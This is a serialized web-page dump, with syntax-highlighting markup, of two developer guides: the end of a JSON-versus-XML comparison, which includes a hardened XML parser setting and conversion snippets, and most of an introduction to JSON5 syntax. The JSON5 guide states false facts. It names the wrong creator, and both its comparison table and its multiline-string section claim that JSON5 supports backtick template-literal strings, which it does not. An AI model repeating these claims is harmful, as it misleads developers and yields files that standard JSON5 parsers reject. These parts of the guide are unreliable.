Python\n",[1560,282368,282369],{"class":1562,"line":337},[1560,282370,228952],{},[1560,282372,282373],{"class":1562,"line":343},[1560,282374,282375],{},"parser = etree.XMLParser(resolve_entities=False, no_network=True)\n",[11,282377,137698],{"id":282378},"interoperability",[33,282380,99514],{"id":99513},[16,282382,282383],{},"You may need to convert XML to JSON or vice versa when integrating systems.",[16,282385,282386,8037],{},[47,282387,282388],{},"XML to JSON (JavaScript)",[135,282390,282392],{"className":1607,"code":282391,"language":1609,"meta":141,"style":141},"function xmlToJson(xml) {\n  const result = {};\n  if (xml.nodeType === 1) { \u002F\u002F element\n    if (xml.attributes.length > 0) {\n      result['@attributes'] = {};\n      for (let i = 0; i \u003C xml.attributes.length; i++) {\n        const attribute = xml.attributes[i];\n        result['@attributes'][attribute.nodeName] = attribute.nodeValue;\n      }\n    }\n  }\n  \u002F\u002F ... (simplified for brevity)\n  return result;\n}\n",[143,282393,282394,282407,282417,282433,282448,282462,282492,282504,282519,282523,282527,282531,282536,282542],{"__ignoreMap":141},[1560,282395,282396,282398,282401,282403,282405],{"class":1562,"line":1563},[1560,282397,8648],{"class":1669},[1560,282399,282400],{"class":1566}," xmlToJson",[1560,282402,1688],{"class":1570},[1560,282404,84956],{"class":2219},[1560,282406,9345],{"class":1570},[1560,282408,282409,282411,282413,282415],{"class":1562,"line":337},[1560,282410,28057],{"class":1669},[1560,282412,80830],{"class":1576},[1560,282414,8186],{"class":1669},[1560,282416,81952],{"class":1570},[1560,282418,282419,282421,282424,282426,282428,282430],{"class":1562,"line":343},[1560,282420,27984],{"class":1669},[1560,282422,282423],{"class":1570}," (xml.nodeType ",[1560,282425,23122],{"class":1669},[1560,282427,18868],{"class":1576},[1560,282429,27874],{"class":1570},[1560,282431,282432],{"class":1649},"\u002F\u002F element\n",[1560,282434,282435,282437,282440,282442,282444,282446],{"class":1562,"line":365},[1560,282436,11527],{"class":1669},[1560,282438,282439],{"class":1570}," (xml.attributes.",[1560,282441,9418],{"class":1576},[1560,282443,32916],{"class":1669},[1560,282445,13541],{"class":1576},[1560,282447,9345],{"class":1570},[1560,282449,282450,282453,282456,282458,282460],{"class":1562,"line":889},[1560,282451,282452],{"class":1570},"      result[",[1560,282454,282455],{"class":5634},"'@attributes'",[1560,282457,13484],{"class":1570},[1560,282459,7297],{"class":1669},[1560,282461,81952],{"class":1570},[1560,282463,282464,282467,282469,282471,282473,282475,282477,282479,282481,282484,282486,282488,282490],{"class":1562,"line":1710},[1560,282465,282466],{"class":1669},"      for",[1560,282468,5181],{"class":1570},[1560,282470,41680],{"class":1669},[1560,282472,7950],{"class":1570},[1560,282474,7297],{"class":1669},[1560,282476,13541],{"class":1576},[1560,282478,82205],{"class":1570},[1560,282480,6431],{"class":1669},[1560,282482,282483],{"class":1570}," xml.attributes.",[1560,282485,9418],{"class":1576},[1560,282487,101559],{"class":1570},[1560,282489,101562],{"class":1669},[1560,282491,9345],{"class":1570},[1560,282493,282494,282497,282499,282501],{"class":1562,"line":1717},[1560,282495,282496],{"class":1669},"        const",[1560,282498,87420],{"class":1576},[1560,282500,8186],{"class":1669},[1560,282502,282503],{"class":1570}," xml.attributes[i];\n",[1560,282505,282506,282509,282511,282514,282516],{"class":1562,"line":1747},[1560,282507,282508],{"class":1570},"        result[",[1560,282510,282455],{"class":5634},[1560,282512,282513],{"class":1570},"][attribute.nodeName] ",[1560,282515,7297],{"class":1669},[1560,282517,282518],{"class":1570}," attribute.nodeValue;\n",[1560,282520,282521],{"class":1562,"line":2507},[1560,282522,28244],{"class":1570},[1560,282524,282525],{"class":1562,"line":2524},[1560,282526,11612],{"class":1570},[1560,282528,282529],{"class":1562,"line":2529},[1560,282530,4959],{"class":1570},[1560,282532,282533],{"class":1562,"line":2534},[1560,282534,282535],{"class":1649},"  \u002F\u002F ... (simplified for brevity)\n",[1560,282537,282538,282540],{"class":1562,"line":2542},[1560,282539,9350],{"class":1669},[1560,282541,88244],{"class":1570},[1560,282543,282544],{"class":1562,"line":2558},[1560,282545,1585],{"class":1570},[16,282547,282548,8037],{},[47,282549,282550],{},"JSON to XML (Python)",[135,282552,282554],{"className":8259,"code":282553,"language":8261,"meta":141,"style":141},"import xml.etree.ElementTree as ET\nimport json\n\ndef json_to_xml(tag, data):\n    elem = ET.Element(tag)\n    for key, value in data.items():\n        if isinstance(value, dict):\n            elem.append(json_to_xml(key, value))\n        else:\n            child = ET.SubElement(elem, key)\n            child.text = str(value)\n    return elem\n",[143,282555,282556,282560,282564,282568,282573,282578,282583,282588,282593,282597,282602,282607],{"__ignoreMap":141},[1560,282557,282558],{"class":1562,"line":1563},[1560,282559,281876],{},[1560,282561,282562],{"class":1562,"line":337},[1560,282563,154619],{},[1560,282565,282566],{"class":1562,"line":343},[1560,282567,1702],{"emptyLinePlaceholder":363},[1560,282569,282570],{"class":1562,"line":365},[1560,282571,282572],{},"def json_to_xml(tag, data):\n",[1560,282574,282575],{"class":1562,"line":889},[1560,282576,282577],{},"    elem = ET.Element(tag)\n",[1560,282579,282580],{"class":1562,"line":1710},[1560,282581,282582],{},"    for key, value in data.items():\n",[1560,282584,282585],{"class":1562,"line":1717},[1560,282586,282587],{},"        if isinstance(value, dict):\n",[1560,282589,282590],{"class":1562,"line":1747},[1560,282591,282592],{},"            elem.append(json_to_xml(key, value))\n",[1560,282594,282595],{"class":1562,"line":2507},[1560,282596,22168],{},[1560,282598,282599],{"class":1562,"line":2524},[1560,282600,282601],{},"            child = ET.SubElement(elem, key)\n",[1560,282603,282604],{"class":1562,"line":2529},[1560,282605,282606],{},"            child.text = str(value)\n",[1560,282608,282609],{"class":1562,"line":2534},[1560,282610,282611],{},"    return elem\n",[11,282613,282615],{"id":282614},"summary-how-to-choose","Summary: How to Choose",[193,282617,282618,282626],{},[196,282619,282620],{},[199,282621,282622,282624],{},[202,282623,21080],{},[202,282625,49059],{},[211,282627,282628,282636,282645,282654,282662,282672,282681,282691],{},[199,282629,282630,282632],{},[216,282631,229782],{},[216,282633,282634],{},[47,282635,13411],{},[199,282637,282638,282641],{},[216,282639,282640],{},"Internal microservices",[216,282642,282643],{},[47,282644,13411],{},[199,282646,282647,282650],{},[216,282648,282649],{},"Enterprise SOAP service",[216,282651,282652],{},[47,282653,84593],{},[199,282655,282656,282658],{},[216,282657,229818],{},[216,282659,282660],{},[47,282661,84593],{},[199,282663,282664,282667],{},[216,282665,282666],{},"Configuration file",[216,282668,282669,282671],{},[47,282670,13411],{}," (or YAML)",[199,282673,282674,282677],{},[216,282675,282676],{},"Browser-based app",[216,282678,282679],{},[47,282680,13411],{},[199,282682,282683,282686],{},[216,282684,282685],{},"Bandwidth-constrained IoT",[216,282687,282688,282690],{},[47,282689,13411],{}," (or binary formats)",[199,282692,282693,282696],{},[216,282694,282695],{},"Strong validation required",[216,282697,282698,229842],{},[47,282699,84593],{},[11,282701,282703],{"id":282702},"final-verdict","Final Verdict",[16,282705,282706,282707,282710],{},"For most modern web development projects, ",[47,282708,282709],{},"JSON is the clear winner"," due to its simplicity, smaller payload, and native JavaScript support.",[16,282712,209876,282713,282715],{},[47,282714,84593],{}," only when:",[41,282717,282718,282721,282724,282727],{},[44,282719,282720],{},"You are working with legacy systems that require it",[44,282722,282723],{},"You need advanced schema validation with XSD",[44,282725,282726],{},"You are building document-centric applications (SVG, Office formats)",[44,282728,282729],{},"Your organization mandates it for compliance reasons",[11,282731,257800],{"id":257799},[41,282733,282734],{},[44,282735,2419,282736,282738],{},[98,282737,37777],{"href":37776}," to pretty-print and validate JSON",[2043,282740,282741],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}",{"title":141,"searchDepth":337,"depth":337,"links":282743},[282744,282745,282750,282751,282755,282760,282763,282766,282770,282774,282777,282778,282779],{"id":256641,"depth":337,"text":2776},{"id":137329,"depth":337,"text":137330,"children":282746},[282747,282748,282749],{"id":137450,"depth":343,"text":137451},{"id":281386,"depth":343,"text":281387},{"id":281469,"depth":343,"text":281470},{"id":5926,"depth":337,"text":61633},{"id":232861,"depth":337,"text":232862,"children":282752},[282753,282754],{"id":281592,"depth":343,"text":281593},{"id":281670,"depth":343,"text":281671},{"id":281695,"depth":337,"text":281696,"children":282756},[282757,282758,282759],{"id":281699,"depth":343,"text":281700},{"id":281784,"depth":343,"text":281785},{"id":26164,"depth":343,"text":26165},{"id":281943,"depth":337,"text":281944,"children":282761},[282762],{"id":281983,"depth":343,"text":281984},{"id":282080,"depth":337,"text":282081,"children":282764},[282765],{"id":282120,"depth":343,"text":282121},{"id":229667,"depth":337,"text":229668,"children":282767},[282768,282769],{"id":282153,"depth":343,"text":84670},{"id":282249,"depth":343,"text":282250},{"id":102597,"depth":337,"text":102598,"children":282771},[282772,282773],{"id":282306,"depth":343,"text":282307},{"id":282336,"depth":343,"text":282337},{"id":282378,"depth":337,"text":137698,"children":282775},[282776],{"id":99513,"depth":343,"text":99514},{"id":282614,"depth":337,"text":282615},{"id":282702,"depth":337,"text":282703},{"id":257799,"depth":337,"text":257800},"Compare JSON and XML data formats: syntax differences, performance, use cases, and how to choose the right one for your project.",{"immutable":363},{"title":281258,"description":282780},"guides\u002Fjson-vs-xml","v_u16KQ7tglKX6EzsaQgx3QRbxlreXCQ2jI02Nb9nrM",{"id":282786,"title":282787,"body":282788,"date":257855,"description":284353,"extension":361,"meta":284354,"navigation":363,"path":284355,"readingTime":1717,"seo":284356,"stem":284357,"__hash__":284358},"guides\u002Fguides\u002Fjson5-introduction.md","What is JSON5? Features, Syntax, and When to Use It",{"type":8,"value":282789,"toc":284330},[282790,282794,282797,282804,282807,282811,282913,282917,282920,282925,282962,282967,283012,283015,283019,283022,283027,283101,283106,283168,283171,283175,283178,283183,283229,283234,283262,283267,283282,283353,283357,283360,283364,283419,283423,283451,283454,283458,283461,283466,283494,283499,283517,283521,283524,283609,283628,283632,283635,283640,283762,283767,283891,283895,283897,283936,283940,283972,283976,283980,283994,284111,284115,284118,284148,284150,284153,284222,284226,284229,284250,284252,284255,284312,284318,284320,284327],[11,282791,282793],{"id":282792},"what-is-json5","What is JSON5?",[16,282795,282796],{},"JSON5 is a superset of JSON (JavaScript Object Notation) that aims to make the format more human-friendly while maintaining compatibility with JavaScript's object literal syntax. Created by Andrew Eisenberg in 2012, JSON5 extends JSON with features from ECMAScript 5 (ES5) that many developers wished were in JSON.",[16,282798,282799,282800,282803],{},"The key philosophy: ",[47,282801,282802],{},"JSON5 is to JSON what ES5 is to ES3"," — it adds syntactic sugar that makes the format easier to write and read, especially for configuration files and human-maintained data.",[16,282805,282806],{},"While JSON is strictly specified and intentionally limited (no comments, no trailing commas, all keys must be quoted), JSON5 relaxes these restrictions to match what JavaScript developers expect.",[11,282808,282810],{"id":282809},"json5-vs-json-quick-comparison","JSON5 vs JSON: Quick Comparison",[193,282812,282813,282824],{},[196,282814,282815],{},[199,282816,282817,282819,282821],{},[202,282818,5867],{},[202,282820,13411],{},[202,282822,282823],{},"JSON5",[211,282825,282826,282838,282849,282862,282875,282886,282897],{},[199,282827,282828,282832,282835],{},[216,282829,282830],{},[47,282831,36954],{},[216,282833,282834],{},"❌ Not allowed",[216,282836,282837],{},"✅ Single and multi-line",[199,282839,282840,282845,282847],{},[216,282841,282842],{},[47,282843,282844],{},"Trailing Commas",[216,282846,137415],{},[216,282848,137418],{},[199,282850,282851,282856,282859],{},[216,282852,282853],{},[47,282854,282855],{},"Unquoted Keys",[216,282857,282858],{},"❌ Must be double-quoted",[216,282860,282861],{},"✅ Allowed (identifier names)",[199,282863,282864,282869,282872],{},[216,282865,282866],{},[47,282867,282868],{},"Single Quotes",[216,282870,282871],{},"❌ Only double quotes",[216,282873,282874],{},"✅ Allowed for strings",[199,282876,282877,282881,282883],{},[216,282878,282879],{},[47,282880,233032],{},[216,282882,282834],{},[216,282884,282885],{},"✅ With backticks or escaping",[199,282887,282888,282892,282894],{},[216,282889,282890],{},[47,282891,83120],{},[216,282893,84702],{},[216,282895,282896],{},"✅ Hex, leading\u002Ftrailing dots",[199,282898,282899,282903,282908],{},[216,282900,282901],{},[47,282902,102621],{},[216,282904,282905],{},[143,282906,282907],{},".json",[216,282909,282910],{},[143,282911,282912],{},".json5",[11,282914,282916],{"id":282915},"feature-1-comments","Feature 1: Comments",[16,282918,282919],{},"The most requested feature for JSON is comments, and JSON5 delivers.",[16,282921,282922],{},[47,282923,282924],{},"JSON (invalid):",[135,282926,282928],{"className":23484,"code":282927,"language":23486,"meta":141,"style":141},"{\n  \"name\": \"config\",\n  \u002F\u002F This is a comment - INVALID IN JSON\n  \"version\": 1\n}\n",[143,282929,282930,282934,282945,282950,282958],{"__ignoreMap":141},[1560,282931,282932],{"class":1562,"line":1563},[1560,282933,23493],{"class":1570},[1560,282935,282936,282938,282940,282943],{"class":1562,"line":337},[1560,282937,80877],{"class":1576},[1560,282939,1663],{"class":1570},[1560,282941,282942],{"class":5634},"\"config\"",[1560,282944,11943],{"class":1570},[1560,282946,282947],{"class":1562,"line":343},[1560,282948,282949],{"class":1649},"  \u002F\u002F This is a comment - INVALID IN JSON\n",[1560,282951,282952,282954,282956],{"class":1562,"line":365},[1560,282953,134768],{"class":1576},[1560,282955,1663],{"class":1570},[1560,282957,8778],{"class":1576},[1560,282959,282960],{"class":1562,"line":889},[1560,282961,1585],{"class":1570},[16,282963,282964],{},[47,282965,282966],{},"JSON5 (valid):",[135,282968,282972],{"className":282969,"code":282970,"language":282971,"meta":141,"style":141},"language-json5 shiki shiki-themes github-light github-dark","{\n  \"name\": \"config\",\n  \u002F\u002F This is a single-line comment\n  \"version\": 1,\n  \u002F* This is a\n     multi-line comment *\u002F\n  \"debug\": true\n}\n","json5",[143,282973,282974,282978,282983,282988,282993,282998,283003,283008],{"__ignoreMap":141},[1560,282975,282976],{"class":1562,"line":1563},[1560,282977,23493],{},[1560,282979,282980],{"class":1562,"line":337},[1560,282981,282982],{},"  \"name\": \"config\",\n",[1560,282984,282985],{"class":1562,"line":343},[1560,282986,282987],{},"  \u002F\u002F This is a single-line comment\n",[1560,282989,282990],{"class":1562,"line":365},[1560,282991,282992],{},"  \"version\": 1,\n",[1560,282994,282995],{"class":1562,"line":889},[1560,282996,282997],{},"  \u002F* This is a\n",[1560,282999,283000],{"class":1562,"line":1710},[1560,283001,283002],{},"     multi-line comment *\u002F\n",[1560,283004,283005],{"class":1562,"line":1717},[1560,283006,283007],{},"  \"debug\": true\n",[1560,283009,283010],{"class":1562,"line":1747},[1560,283011,1585],{},[16,283013,283014],{},"Comments are invaluable for configuration files where you need to explain why certain values are set.",[11,283016,283018],{"id":283017},"feature-2-trailing-commas","Feature 2: Trailing Commas",[16,283020,283021],{},"Trailing commas make it easier to add, remove, and reorder items without worrying about removing the comma from the previous line.",[16,283023,283024],{},[47,283025,283026],{},"JSON (no trailing comma):",[135,283028,283030],{"className":23484,"code":283029,"language":23486,"meta":141,"style":141},"{\n  \"items\": [\n    \"apple\",\n    \"banana\",\n    \"orange\"\n  ],\n  \"settings\": {\n    \"theme\": \"dark\",\n    \"lang\": \"en\"\n  }\n}\n",[143,283031,283032,283036,283042,283049,283056,283061,283065,283072,283083,283093,283097],{"__ignoreMap":141},[1560,283033,283034],{"class":1562,"line":1563},[1560,283035,23493],{"class":1570},[1560,283037,283038,283040],{"class":1562,"line":337},[1560,283039,279668],{"class":1576},[1560,283041,82876],{"class":1570},[1560,283043,283044,283047],{"class":1562,"line":343},[1560,283045,283046],{"class":5634},"    \"apple\"",[1560,283048,11943],{"class":1570},[1560,283050,283051,283054],{"class":1562,"line":365},[1560,283052,283053],{"class":5634},"    \"banana\"",[1560,283055,11943],{"class":1570},[1560,283057,283058],{"class":1562,"line":889},[1560,283059,283060],{"class":5634},"    \"orange\"\n",[1560,283062,283063],{"class":1562,"line":1710},[1560,283064,12054],{"class":1570},[1560,283066,283067,283070],{"class":1562,"line":1717},[1560,283068,283069],{"class":1576},"  \"settings\"",[1560,283071,37098],{"class":1570},[1560,283073,283074,283077,283079,283081],{"class":1562,"line":1747},[1560,283075,283076],{"class":1576},"    \"theme\"",[1560,283078,1663],{"class":1570},[1560,283080,56010],{"class":5634},[1560,283082,11943],{"class":1570},[1560,283084,283085,283088,283090],{"class":1562,"line":2507},[1560,283086,283087],{"class":1576},"    \"lang\"",[1560,283089,1663],{"class":1570},[1560,283091,283092],{"class":5634},"\"en\"\n",[1560,283094,283095],{"class":1562,"line":2524},[1560,283096,4959],{"class":1570},[1560,283098,283099],{"class":1562,"line":2529},[1560,283100,1585],{"class":1570},[16,283102,283103],{},[47,283104,283105],{},"JSON5 (trailing commas allowed):",[135,283107,283109],{"className":282969,"code":283108,"language":282971,"meta":141,"style":141},"{\n  \"items\": [\n    \"apple\",\n    \"banana\",\n    \"orange\",  \u002F\u002F Trailing comma - no problem!\n  ],\n  \"settings\": {\n    \"theme\": \"dark\",\n    \"lang\": \"en\",  \u002F\u002F Trailing comma here too\n  },\n}\n",[143,283110,283111,283115,283120,283125,283130,283138,283142,283147,283152,283160,283164],{"__ignoreMap":141},[1560,283112,283113],{"class":1562,"line":1563},[1560,283114,23493],{},[1560,283116,283117],{"class":1562,"line":337},[1560,283118,283119],{},"  \"items\": [\n",[1560,283121,283122],{"class":1562,"line":343},[1560,283123,283124],{},"    \"apple\",\n",[1560,283126,283127],{"class":1562,"line":365},[1560,283128,283129],{},"    \"banana\",\n",[1560,283131,283132,283135],{"class":1562,"line":889},[1560,283133,283134],{},"    \"orange\",",[1560,283136,283137],{},"  \u002F\u002F Trailing comma - no problem!\n",[1560,283139,283140],{"class":1562,"line":1710},[1560,283141,12054],{},[1560,283143,283144],{"class":1562,"line":1717},[1560,283145,283146],{},"  \"settings\": {\n",[1560,283148,283149],{"class":1562,"line":1747},[1560,283150,283151],{},"    \"theme\": \"dark\",\n",[1560,283153,283154,283157],{"class":1562,"line":2507},[1560,283155,283156],{},"    \"lang\": \"en\",",[1560,283158,283159],{},"  \u002F\u002F Trailing comma here too\n",[1560,283161,283162],{"class":1562,"line":2524},[1560,283163,11862],{},[1560,283165,283166],{"class":1562,"line":2529},[1560,283167,1585],{},[16,283169,283170],{},"This is especially helpful when using version control — diffs are cleaner when adding new items.",[11,283172,283174],{"id":283173},"feature-3-unquoted-object-keys","Feature 3: Unquoted Object Keys",[16,283176,283177],{},"In JSON5, object keys that are valid identifiers don't need quotes.",[16,283179,283180],{},[47,283181,283182],{},"JSON:",[135,283184,283186],{"className":23484,"code":283185,"language":23486,"meta":141,"style":141},"{\n  \"first-name\": \"John\",\n  \"last_name\": \"Doe\",\n  \"age\": 30\n}\n",[143,283187,283188,283192,283204,283216,283225],{"__ignoreMap":141},[1560,283189,283190],{"class":1562,"line":1563},[1560,283191,23493],{"class":1570},[1560,283193,283194,283197,283199,283202],{"class":1562,"line":337},[1560,283195,283196],{"class":1576},"  \"first-name\"",[1560,283198,1663],{"class":1570},[1560,283200,283201],{"class":5634},"\"John\"",[1560,283203,11943],{"class":1570},[1560,283205,283206,283209,283211,283214],{"class":1562,"line":343},[1560,283207,283208],{"class":1576},"  \"last_name\"",[1560,283210,1663],{"class":1570},[1560,283212,283213],{"class":5634},"\"Doe\"",[1560,283215,11943],{"class":1570},[1560,283217,283218,283221,283223],{"class":1562,"line":365},[1560,283219,283220],{"class":1576},"  \"age\"",[1560,283222,1663],{"class":1570},[1560,283224,137784],{"class":1576},[1560,283226,283227],{"class":1562,"line":889},[1560,283228,1585],{"class":1570},[16,283230,283231],{},[47,283232,283233],{},"JSON5:",[135,283235,283237],{"className":282969,"code":283236,"language":282971,"meta":141,"style":141},"{\n  firstName: \"John\",\n  last_name: \"Doe\",  \u002F\u002F Underscore is valid in identifiers\n  age: 30  \u002F\u002F No quotes needed for simple keys\n}\n",[143,283238,283239,283243,283248,283253,283258],{"__ignoreMap":141},[1560,283240,283241],{"class":1562,"line":1563},[1560,283242,23493],{},[1560,283244,283245],{"class":1562,"line":337},[1560,283246,283247],{},"  firstName: \"John\",\n",[1560,283249,283250],{"class":1562,"line":343},[1560,283251,283252],{},"  last_name: \"Doe\",  \u002F\u002F Underscore is valid in identifiers\n",[1560,283254,283255],{"class":1562,"line":365},[1560,283256,283257],{},"  age: 30  \u002F\u002F No quotes needed for simple keys\n",[1560,283259,283260],{"class":1562,"line":889},[1560,283261,1585],{},[16,283263,283264],{},[47,283265,283266],{},"Rules for unquoted keys:",[41,283268,283269,283274,283279],{},[44,283270,283271,283272],{},"Must start with a letter, underscore, or ",[143,283273,11938],{},[44,283275,283276,283277],{},"Can contain letters, digits, underscores, or ",[143,283278,11938],{},[44,283280,283281],{},"Cannot contain spaces or special characters (use quotes for those)",[135,283283,283285],{"className":282969,"code":283284,"language":282971,"meta":141,"style":141},"{\n  \u002F\u002F Valid unquoted keys:\n  name: \"test\",\n  _private: true,\n  $element: \"div\",\n  key123: \"value\",\n\n  \u002F\u002F Must be quoted:\n  \"first-name\": \"John\",    \u002F\u002F Hyphen\n  \"user age\": 30,          \u002F\u002F Space\n  \"123key\": \"value\"        \u002F\u002F Starts with digit\n}\n",[143,283286,283287,283291,283296,283301,283306,283311,283316,283320,283325,283333,283341,283349],{"__ignoreMap":141},[1560,283288,283289],{"class":1562,"line":1563},[1560,283290,23493],{},[1560,283292,283293],{"class":1562,"line":337},[1560,283294,283295],{},"  \u002F\u002F Valid unquoted keys:\n",[1560,283297,283298],{"class":1562,"line":343},[1560,283299,283300],{},"  name: \"test\",\n",[1560,283302,283303],{"class":1562,"line":365},[1560,283304,283305],{},"  _private: true,\n",[1560,283307,283308],{"class":1562,"line":889},[1560,283309,283310],{},"  $element: \"div\",\n",[1560,283312,283313],{"class":1562,"line":1710},[1560,283314,283315],{},"  key123: \"value\",\n",[1560,283317,283318],{"class":1562,"line":1717},[1560,283319,1702],{"emptyLinePlaceholder":363},[1560,283321,283322],{"class":1562,"line":1747},[1560,283323,283324],{},"  \u002F\u002F Must be quoted:\n",[1560,283326,283327,283330],{"class":1562,"line":2507},[1560,283328,283329],{},"  \"first-name\": \"John\",",[1560,283331,283332],{},"    \u002F\u002F Hyphen\n",[1560,283334,283335,283338],{"class":1562,"line":2524},[1560,283336,283337],{},"  \"user age\": 30,",[1560,283339,283340],{},"          \u002F\u002F Space\n",[1560,283342,283343,283346],{"class":1562,"line":2529},[1560,283344,283345],{},"  \"123key\": \"value\"",[1560,283347,283348],{},"        \u002F\u002F Starts with digit\n",[1560,283350,283351],{"class":1562,"line":2534},[1560,283352,1585],{},[11,283354,283356],{"id":283355},"feature-4-single-quoted-strings","Feature 4: Single-Quoted Strings",[16,283358,283359],{},"JSON5 allows both single and double quotes for strings.",[16,283361,283362],{},[47,283363,283182],{},[135,283365,283367],{"className":23484,"code":283366,"language":23486,"meta":141,"style":141},"{\n  \"message\": \"Hello \\\"World\\\"\",\n  \"path\": \"C:\\\\Users\\\\Name\"\n}\n",[143,283368,283369,283373,283395,283415],{"__ignoreMap":141},[1560,283370,283371],{"class":1562,"line":1563},[1560,283372,23493],{"class":1570},[1560,283374,283375,283378,283380,283383,283386,283389,283391,283393],{"class":1562,"line":337},[1560,283376,283377],{"class":1576},"  \"message\"",[1560,283379,1663],{"class":1570},[1560,283381,283382],{"class":5634},"\"Hello ",[1560,283384,283385],{"class":1576},"\\\"",[1560,283387,283388],{"class":5634},"World",[1560,283390,283385],{"class":1576},[1560,283392,8721],{"class":5634},[1560,283394,11943],{"class":1570},[1560,283396,283397,283400,283402,283405,283407,283410,283412],{"class":1562,"line":343},[1560,283398,283399],{"class":1576},"  \"path\"",[1560,283401,1663],{"class":1570},[1560,283403,283404],{"class":5634},"\"C:",[1560,283406,9216],{"class":1576},[1560,283408,283409],{"class":5634},"Users",[1560,283411,9216],{"class":1576},[1560,283413,283414],{"class":5634},"Name\"\n",[1560,283416,283417],{"class":1562,"line":365},[1560,283418,1585],{"class":1570},[16,283420,283421],{},[47,283422,283233],{},[135,283424,283426],{"className":282969,"code":283425,"language":282971,"meta":141,"style":141},"{\n  message: 'Hello \"World\"',  \u002F\u002F Single quotes avoid escaping\n  path: 'C:\\\\Users\\\\Name',\n  template: \"Use 'single' inside double\",\n}\n",[143,283427,283428,283432,283437,283442,283447],{"__ignoreMap":141},[1560,283429,283430],{"class":1562,"line":1563},[1560,283431,23493],{},[1560,283433,283434],{"class":1562,"line":337},[1560,283435,283436],{},"  message: 'Hello \"World\"',  \u002F\u002F Single quotes avoid escaping\n",[1560,283438,283439],{"class":1562,"line":343},[1560,283440,283441],{},"  path: 'C:\\\\Users\\\\Name',\n",[1560,283443,283444],{"class":1562,"line":365},[1560,283445,283446],{},"  template: \"Use 'single' inside double\",\n",[1560,283448,283449],{"class":1562,"line":889},[1560,283450,1585],{},[16,283452,283453],{},"Single quotes are especially useful when your string contains double quotes.",[11,283455,283457],{"id":283456},"feature-5-multiline-strings","Feature 5: Multiline Strings",[16,283459,283460],{},"JSON5 supports multiline strings using backticks (template literals) or escaped newlines.",[16,283462,283463],{},[47,283464,283465],{},"JSON5 with backticks:",[135,283467,283469],{"className":282969,"code":283468,"language":282971,"meta":141,"style":141},"{\n  description: `This is a\nmultiline string\nthat spans multiple lines.`\n}\n",[143,283470,283471,283475,283480,283485,283490],{"__ignoreMap":141},[1560,283472,283473],{"class":1562,"line":1563},[1560,283474,23493],{},[1560,283476,283477],{"class":1562,"line":337},[1560,283478,283479],{},"  description: `This is a\n",[1560,283481,283482],{"class":1562,"line":343},[1560,283483,283484],{},"multiline string\n",[1560,283486,283487],{"class":1562,"line":365},[1560,283488,283489],{},"that spans multiple lines.`\n",[1560,283491,283492],{"class":1562,"line":889},[1560,283493,1585],{},[16,283495,283496],{},[47,283497,283498],{},"JSON5 with escaped newlines (also valid in JSON with \\n, but more readable here):",[135,283500,283502],{"className":282969,"code":283501,"language":282971,"meta":141,"style":141},"{\n  poem: \"Roses are red,\\nViolets are blue,\\nJSON5 is better,\\nFor me and you.\"\n}\n",[143,283503,283504,283508,283513],{"__ignoreMap":141},[1560,283505,283506],{"class":1562,"line":1563},[1560,283507,23493],{},[1560,283509,283510],{"class":1562,"line":337},[1560,283511,283512],{},"  poem: \"Roses are red,\\nViolets are blue,\\nJSON5 is better,\\nFor me and you.\"\n",[1560,283514,283515],{"class":1562,"line":343},[1560,283516,1585],{},[11,283518,283520],{"id":283519},"feature-6-enhanced-number-formats","Feature 6: Enhanced Number Formats",[16,283522,283523],{},"JSON5 supports number formats that are valid in JavaScript but not in JSON.",[135,283525,283527],{"className":282969,"code":283526,"language":282971,"meta":141,"style":141},"{\n  \u002F\u002F Hexadecimal\n  hexValue: 0xFF,       \u002F\u002F 255\n  hexValue2: 0x1A3,    \u002F\u002F 419\n\n  \u002F\u002F Leading or trailing decimal points\n  float1: .5,          \u002F\u002F Same as 0.5\n  float2: 5.,          \u002F\u002F Same as 5.0\n\n  \u002F\u002F Positive\u002Fnegative signs\n  positive: +10,\n  negative: -10,\n\n  \u002F\u002F Infinity and NaN (in some implementations)\n  \u002F\u002F max: Infinity,\n  \u002F\u002F invalid: NaN\n}\n",[143,283528,283529,283533,283538,283543,283548,283552,283557,283562,283567,283571,283576,283581,283586,283590,283595,283600,283605],{"__ignoreMap":141},[1560,283530,283531],{"class":1562,"line":1563},[1560,283532,23493],{},[1560,283534,283535],{"class":1562,"line":337},[1560,283536,283537],{},"  \u002F\u002F Hexadecimal\n",[1560,283539,283540],{"class":1562,"line":343},[1560,283541,283542],{},"  hexValue: 0xFF,       \u002F\u002F 255\n",[1560,283544,283545],{"class":1562,"line":365},[1560,283546,283547],{},"  hexValue2: 0x1A3,    \u002F\u002F 419\n",[1560,283549,283550],{"class":1562,"line":889},[1560,283551,1702],{"emptyLinePlaceholder":363},[1560,283553,283554],{"class":1562,"line":1710},[1560,283555,283556],{},"  \u002F\u002F Leading or trailing decimal points\n",[1560,283558,283559],{"class":1562,"line":1717},[1560,283560,283561],{},"  float1: .5,          \u002F\u002F Same as 0.5\n",[1560,283563,283564],{"class":1562,"line":1747},[1560,283565,283566],{},"  float2: 5.,          \u002F\u002F Same as 5.0\n",[1560,283568,283569],{"class":1562,"line":2507},[1560,283570,1702],{"emptyLinePlaceholder":363},[1560,283572,283573],{"class":1562,"line":2524},[1560,283574,283575],{},"  \u002F\u002F Positive\u002Fnegative 